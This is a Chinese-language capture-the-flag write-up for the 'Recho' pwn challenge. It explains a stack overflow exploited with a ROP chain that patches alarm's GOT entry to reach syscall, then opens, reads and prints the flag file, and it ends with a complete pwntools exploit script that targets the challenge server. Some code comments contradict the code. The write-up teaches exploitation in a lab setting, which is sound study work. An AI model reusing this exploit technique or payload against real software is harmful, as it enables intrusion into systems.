攻防世界PWN之Recho题解
Recho
首先,还是查看一下程序的保护机制。看起来不错。
然后用IDA分析
看起来是一个很简单的溢出,然而,这题的难点在于这个循环如何结束。read一直都是真,如果是在linux终端上直接运行,我们可以用Ctrl+D,然而,pwn远程,就无法处理这种信号。幸运的是pwntools提供了一个shutdown功能,该功能可以关闭流,如果我们关闭输入流,这个循环就结束了。但是我们别想再次ROP到主函数获取输入,因为关闭后就不能打开,除非重新运行,那么之前的工作不都白费了吗。因此,我们必须一次性完成所有操作。
一次性要完成所有操作,那么暴露地址的方式肯定不能完成,幸运的是,我们可以使用系统调用(syscall)。对于有些系统,system也可以用系统调用,而对于有些系统则不行,因此,我们这里不再geshell,我们直接读取flag,然后打印出来。
我们知道,open、write、read、alarm这些都是系统调用,看看IDA代码就知道
我们希望构造这样的代码来拿到flag
- int fd = open("flag",READONLY);
- read(fd,buf,100);
- printf(buf);
由于本程序已经导入了alarm、read、write几个函数,我们现在缺的是open函数,由于open函数内部也是系统调用,只需要改变传入的eax,就可以调用open,因此,我们首先需要拿到syscall的地址或者是调用它的某处的地址。
alarm函数我们用不到,因此,我们想把它的GOT表地址改掉,但是,如何改呢,我们发现有这么一个gadget,这是经验,赶紧记下来,这个重点
先把两处undefine,然后再code,就变成了两条指令
这个可以把rdi里面存地址指向处加上al,那么,如果rdi里存储着alarm的GOT表地址,那么add [rdi],al就是把GOT表里指向的地址向后偏移al,由于alarm函数向后偏移0x5个字节处调用了syscall,因此,如果我们的al为0x5,那么,add指令执行后,我们的alarm函数GOT表里的地址就指向了syscall的调用处,那么我们调用alarm也就是调用syscall,我们只需在之前传入eax(系统调用号),就可以调用我们需要的系统调用
查看libc的汇编代码,我们知道了open的系统调用号为2
因此我们就可以拼凑出一个open来
我们还需要其他的一些指令,用来传参数,这些指令用IDA的搜索功能搜索pop就能找到,当然还有经验,
- #用于传参
- '''''pop rax
- retn'''
- pop_rax = 0x4006FC
- '''''pop rdx
- retn'''
- pop_rdx = 0x4006FE
- '''''pop rsi
- pop r15
- retn'''
- pop_rsi = 0x4008A1
- '''''pop rdi
- retn'''
- pop_rdi = 0x4008A3
- '''''add [rdi],al
- retn'''
- rdi_add = 0x40070d
比如这种隐藏的,需要经验,赶紧记住了。
Undefined后再向后偏移一个字节点Code,就出来了。其他类似。
我们还需要一个存取读取结果的地方,BSS段是可以读写的
- #存储字符串
- stdin_buffer = 0x601070
程序中也为我们准备好了”flag”字符串,指示我们使用
那么,我们就开始构造payload吧
我们需要先修改alarm的GOT表,改成调用syscall
- payload = 'a'*0x38
- #######修改alarm的GOT表内容为alarm函数里的syscall调用处地址##########
- #rdi = alarm_got
- payload += p64(pop_rdi) + p64(alarm_got)
- #rax = 0x5
- payload += p64(pop_rax) + p64(0x5)
- #[rdi] = [rdi] + 0xE = alarm函数里的syscall的调用处
- payload += p64(rdi_add)
- ########
然后,我们先构造fd = open(“flag”,READONLY);这句代码
- '''''fd = open('flag',READONLY)'''
- # rsi = 0 (READONLY)
- payload += p64(pop_rsi) + p64(0) + p64(0)
- #rdi = 'flag'
- payload += p64(pop_rdi) + p64(elf.search('flag').next())
- #rax = 2,open的调用号为2,通过调试即可知道
- payload += p64(pop_rax) + p64(2)
- #syscall
- payload += p64(alarm_plt)
open以后,fd的值一般是3开始,依次增加。比如我open了两个文件,那么它们的fd分别为3和4。如果特殊,具体看调试结果
接下来,我们开始构造read(fd,stdin_buffer,100);这句代码
- ''''' read(fd,stdin_buffer,100) '''
- #rdi指向buf区,用于存放读取的结果
- payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)
- #open()打开文件返回的文件描述符一般从3开始,依次顺序增加
- payload += p64(pop_rdi) + p64(3)
- # rax = 100,最多读取100个字符
- payload += p64(pop_rdx) + p64(100)
- #指向read函数
- payload += p64(read_plt)
现在,flag的内容已经存到了std_buffer里面了,我们用printf打印它就能获得答案
- #使用printf打印读取的内容
- payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
最后,我们关闭流,使循环退出,main函数到retn处,执行我们的ROP。
- #关闭输入流,就可以退出那个循环,执行ROP了
- sh.shutdown('write')
综上,我们的exp脚本如下
- #coding:utf8
- from pwn import *
- import time
- context.log_level = 'debug'
- #sh = process('./pwnh18')
- sh = remote('111.198.29.45',56942)
- elf = ELF('./pwnh18')
- #用于传参
- '''''pop rax
- retn'''
- pop_rax = 0x4006FC
- '''''pop rdx
- retn'''
- pop_rdx = 0x4006FE
- '''''pop rsi
- pop r15
- retn'''
- pop_rsi = 0x4008A1
- '''''pop rdi
- retn'''
- pop_rdi = 0x4008A3
- '''''add [rdi],al
- retn'''
- rdi_add = 0x40070d
- #bss段的stdin缓冲区,我们可以把数据存在这里
- stdin_buffer = 0x601070
- alarm_got = elf.got['alarm']
- alarm_plt = elf.plt['alarm']
- read_plt = elf.plt['read']
- printf_plt = elf.plt['printf']
- sh.recvuntil('Welcome to Recho server!\n')
- sh.sendline(str(0x200))
- payload = 'a'*0x38
- #######修改alarm的GOT表内容为alarm函数里的syscall调用处地址##########
- #rdi = alarm_got
- payload += p64(pop_rdi) + p64(alarm_got)
- #rax = 0x5
- payload += p64(pop_rax) + p64(0x5)
- #[rdi] = [rdi] + 0xE = alarm函数里的syscall的调用处
- payload += p64(rdi_add)
- ########
- '''''fd = open('flag',READONLY)'''
- # rsi = 0 (READONLY)
- payload += p64(pop_rsi) + p64(0) + p64(0)
- #rdi = 'flag'
- payload += p64(pop_rdi) + p64(elf.search('flag').next())
- #rax = 2,open的调用号为2,通过调试即可知道
- payload += p64(pop_rax) + p64(2)
- #syscall
- payload += p64(alarm_plt)
- ''''' read(fd,stdin_buffer,100) '''
- #rdi指向buf区,用于存放读取的结果
- payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)
- #open()打开文件返回的文件描述符一般从3开始,依次顺序增加
- payload += p64(pop_rdi) + p64(3)
- # rax = 100,最多读取100个字符
- payload += p64(pop_rdx) + p64(100)
- #指向read函数
- payload += p64(read_plt)
- #使用printf打印读取的内容
- payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
- #这步也关键,尽量使字符串长,这样才能将我们的payload全部输进去,不然可能因为会有缓存的问题导致覆盖不完整
- payload = payload.ljust(0x200,'\x00')
- sh.sendline(payload)
- #关闭输入流,就可以退出那个循环,执行ROP了
- sh.shutdown('write')
- sh.interactive()